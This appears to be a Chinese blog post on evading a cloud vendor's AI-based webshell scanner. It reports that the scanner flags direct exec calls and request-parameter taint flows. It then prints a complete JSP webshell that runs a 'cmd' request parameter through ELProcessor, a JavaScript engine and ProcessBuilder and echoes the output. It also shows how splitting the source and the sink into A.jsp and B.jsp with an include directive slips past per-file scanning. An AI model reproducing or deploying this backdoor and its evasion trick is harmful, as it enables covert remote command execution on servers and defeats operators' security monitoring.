JSP免杀 —— 绕过智能AI?

玩某云的“卷完计划”想到的姿势,分享一下。

某云的骑士号称是采用先进的动态监测技术,结合主机智能内核AI检测技术等多种引擎零规则查杀,做到低误报,高查杀率。

测下来查杀率确实高,只要出现 Runtime.getRuntime().exec("calc") 等命令执行直接相关的方法调用就杀,不过一个样本测下来要一分钟,速度相当慢,实际落地还要很长的路要走。/狗头

绕过

开始讲绕过。

首先是命令执行的sink,直接写 Runtime.getRuntime().exec() 即使jsp编译不通过也是会被check到的,说明引擎有一些强检测逻辑,类似正则,匹配即杀。而如果迂回一下,我们找一个跳板,比如 new ProcessBuilder() ,或者反射构造 ProcessImpl 实例,还不会被杀,(用法参考三梦的文章)。

构造好跳板,当调用 start() 实际执行的时候,如果命令是硬编码的没有杀,如果是从 request.getParameter(“xxx”) 取的还是会杀的。

说明引擎应该用到了类似污点分析的原理,更换命令执行的 sink 是可以绕过的,但要完全绕过还要找别的 source,试了一圈 request 对象的方法,只有 request.getSchema() 等内容不可控方法的时候不会杀,内容不可控有啥用:(

研究了下,我想到了这个引擎的问题(应该也通杀别的),就是在检测时,无法构造出完整的上下文环境。它是单文件一个个扫过去的,如果我们拆分 soure-sink 到多个文件呢,扫任意一个jsp都没问题。甚至很可能因为通不过编译,压根儿动态监测不起来。

include

下面用到 jsp 的一个特性 include 指令。

include 指令用于通知 JSP 引擎在翻译当前 JSP 页面时,将其他文件中的内容合并进当前 JSP 页面转换成的 Servlet 源文件中,这种在源文件级别进行引入的方式,称为静态引入,当前 JSP 页面与静态引入的文件紧密结合为一个 Servlet。这些文件可以是 JSP 页面、HTML 页面、文本文件或是一段 Java 代码。

我们完全可以把完整的逻辑拆分,即把参数获取和命令执行的分开。

举个例子

AB.jsp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<%@ page import="javax.el.ELProcessor" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<body>
<%
String cmd = request.getParameter("cmd");
ELProcessor processor = new ELProcessor();
Process process = (Process) processor.eval(
"\"\".getClass()" +
".forName(\"javax.script.ScriptEngineManager\")." +
"newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['" +
cmd + "']).start()\")");
InputStream inputStream = process.getInputStream();
StringBuilder sb = new StringBuilder();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
String line;
while ((line = bufferedReader.readLine()) != null) {
sb.append(line).append("\n");
}
response.getOutputStream().write(sb.toString().getBytes());
%>
</body>
</html>

source request.getParameter,通过 sink ELProcessor.eval 执行命令,会被杀。

拆分逻辑到 A.jsp B.jsp

A.jsp

1
2
3
<%
String cmd = request.getParameter("cmd");
%>

B.jsp ELProcessor.eval 执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.el.ELProcessor" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@include file="A.jsp" %>
<html>
<body>
<%
ELProcessor processor = new ELProcessor();
Process process = (Process) processor.eval(
"\"\".getClass()" +
".forName(\"javax.script.ScriptEngineManager\")." +
"newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['" +
cmd + "']).start()\")");
InputStream inputStream = process.getInputStream();
StringBuilder sb = new StringBuilder();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
String line;
while ((line = bufferedReader.readLine()) != null) {
sb.append(line).append("\n");
}
response.getOutputStream().write(sb.toString().getBytes());
%>
</body>
</html>

A.jsp 只负责取参,看起来没有问题。

B.jsp sink没有被硬杀,而且缺少 A.jsp 的情况编译不过,跑不起来动态监测不了。

完全绕过。

文章目录
  1. 1. 绕过
  2. 2. include
|